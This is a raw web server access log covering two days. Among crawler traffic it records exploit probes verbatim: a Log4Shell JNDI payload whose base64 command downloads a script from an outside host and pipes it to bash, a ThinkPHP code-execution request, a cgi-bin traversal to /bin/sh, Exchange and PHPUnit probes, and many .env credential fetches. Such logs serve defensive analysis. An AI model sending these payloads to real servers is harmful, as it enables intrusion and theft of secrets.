[30/Dec/2021:02:16:09 +0100] 34.223.240.33 TLSv1.2 AES256-SHA "GET / HTTP/1.1" 295
[30/Dec/2021:02:31:14 +0100] 207.46.13.233 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /robots.txt HTTP/1.1" 311
[30/Dec/2021:02:31:16 +0100] 207.46.13.233 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /robots.txt HTTP/1.1" 311
[30/Dec/2021:02:31:24 +0100] 40.77.167.42 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" 304
[30/Dec/2021:04:55:11 +0100] 131.220.6.152 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" 295
[30/Dec/2021:05:08:18 +0100] 51.15.205.3 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" 384
[30/Dec/2021:07:22:22 +0100] 51.15.205.3 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" 385
[30/Dec/2021:09:23:32 +0100] 130.211.54.158 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" 301
[30/Dec/2021:09:40:13 +0100] 195.54.160.149 TLSv1.2 AES256-SHA "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 331
[30/Dec/2021:09:40:23 +0100] 192.241.205.124 TLSv1.2 AES256-SHA "GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application HTTP/1.1" 348
[30/Dec/2021:09:49:06 +0100] 192.241.208.28 TLSv1.2 AES256-SHA "GET /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp%2f HTTP/1.1" 335
[30/Dec/2021:10:29:29 +0100] 45.129.56.200 TLSv1.2 AES256-SHA "GET / HTTP/1.1" 301
[30/Dec/2021:10:30:12 +0100] 46.166.139.111 TLSv1.2 AES256-SHA "GET /favicon.ico HTTP/1.1" 309
[30/Dec/2021:10:47:08 +0100] 128.14.134.170 TLSv1.2 DHE-RSA-AES256-SHA256 "GET / HTTP/1.1" 301
[30/Dec/2021:10:59:31 +0100] 195.54.160.149 TLSv1.2 AES256-SHA "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1" 390
[30/Dec/2021:11:40:58 +0100] 195.54.160.149 - - "-" -
[30/Dec/2021:12:00:10 +0100] 40.77.167.42 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" 304
[30/Dec/2021:12:12:59 +0100] 195.54.160.149 TLSv1.2 AES256-SHA "POST /mifs/.;/services/LogService HTTP/1.1" 318
[30/Dec/2021:12:17:43 +0100] 103.203.57.29 TLSv1.2 AES256-SHA "GET / HTTP/1.1" 301
[30/Dec/2021:13:02:57 +0100] 109.248.6.86 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.0" 388
[30/Dec/2021:13:10:11 +0100] 192.241.211.188 TLSv1.2 AES256-SHA "GET /actuator/health HTTP/1.1" 310
[30/Dec/2021:13:17:59 +0100] 184.105.139.68 TLSv1.2 AES256-SHA "GET / HTTP/1.1" 383
[30/Dec/2021:13:50:46 +0100] 195.54.160.149 TLSv1.2 AES256-SHA "GET /console/ HTTP/1.1" 307
[30/Dec/2021:14:09:43 +0100] 109.237.103.123 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /.env HTTP/1.1" 304
[30/Dec/2021:14:09:44 +0100] 109.237.103.123 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "POST /.env HTTP/1.1" 304
[30/Dec/2021:16:56:12 +0100] 195.54.160.149 TLSv1.2 AES256-SHA "GET / HTTP/1.1" 301
[30/Dec/2021:17:29:33 +0100] 195.54.160.149 TLSv1.2 AES256-SHA "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 293
[30/Dec/2021:18:30:34 +0100] 192.241.212.76 TLSv1.2 AES256-SHA "GET / HTTP/1.1" 301
[30/Dec/2021:18:49:55 +0100] 162.221.192.26 TLSv1.2 DHE-RSA-AES256-SHA256 "GET / HTTP/1.1" 301
[30/Dec/2021:19:02:48 +0100] 195.54.160.149 TLSv1.2 AES256-SHA "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC84Ni41OS4xMTMuMTAyOjQ0M3x8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC84Ni41OS4xMTMuMTAyOjQ0Myl8YmFzaA==} HTTP/1.1" 435
[30/Dec/2021:19:52:37 +0100] 60.217.75.69 TLSv1.2 AES256-SHA "GET / HTTP/1.1" 301
[30/Dec/2021:21:34:49 +0100] 88.214.43.164 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /~app/.env HTTP/1.1" 303
[30/Dec/2021:21:34:50 +0100] 88.214.43.164 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "POST /~app/.env HTTP/1.1" 303
[30/Dec/2021:21:34:51 +0100] 88.214.43.164 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /~api/.env HTTP/1.1" 303
[30/Dec/2021:21:34:52 +0100] 88.214.43.164 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "POST /~api/.env HTTP/1.1" 303
[30/Dec/2021:21:34:52 +0100] 88.214.43.164 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /~dev/.env HTTP/1.1" 303
[30/Dec/2021:21:34:53 +0100] 88.214.43.164 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "POST /~dev/.env HTTP/1.1" 303
[30/Dec/2021:21:34:54 +0100] 88.214.43.164 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /~admin/.env HTTP/1.1" 304
[30/Dec/2021:21:34:55 +0100] 88.214.43.164 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "POST /~admin/.env HTTP/1.1" 304
[30/Dec/2021:21:40:35 +0100] 94.102.15.53 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /_app/.env HTTP/1.1" 301
[30/Dec/2021:21:40:35 +0100] 94.102.15.53 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "POST /_app/.env HTTP/1.1" 301
[30/Dec/2021:21:40:36 +0100] 94.102.15.53 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /_api/.env HTTP/1.1" 301
[30/Dec/2021:21:40:37 +0100] 94.102.15.53 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "POST /_api/.env HTTP/1.1" 301
[30/Dec/2021:21:40:38 +0100] 94.102.15.53 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /_dev/.env HTTP/1.1" 301
[30/Dec/2021:21:40:39 +0100] 94.102.15.53 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "POST /_dev/.env HTTP/1.1" 301
[30/Dec/2021:21:40:39 +0100] 94.102.15.53 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /_admin/.env HTTP/1.1" 302
[30/Dec/2021:21:40:40 +0100] 94.102.15.53 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "POST /_admin/.env HTTP/1.1" 302
[30/Dec/2021:22:39:59 +0100] 5.161.43.250 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /.env HTTP/1.1" 304
[30/Dec/2021:22:40:00 +0100] 5.161.43.250 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "POST / HTTP/1.1" 301
[30/Dec/2021:23:19:44 +0100] 128.14.134.134 TLSv1.2 DHE-RSA-AES256-SHA256 "GET / HTTP/1.1" 301
[31/Dec/2021:00:11:58 +0100] 51.158.156.78 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /login.cs HTTP/1.1" 391
[31/Dec/2021:00:37:41 +0100] 192.241.212.10 TLSv1.2 AES256-SHA "GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application HTTP/1.1" 348
[31/Dec/2021:00:39:59 +0100] 192.241.208.61 TLSv1.2 AES256-SHA "GET /owa/auth/x.js HTTP/1.1" 310
[31/Dec/2021:00:40:05 +0100] 192.241.212.44 TLSv1.2 AES256-SHA "GET /owa/auth/logon.aspx HTTP/1.1" 314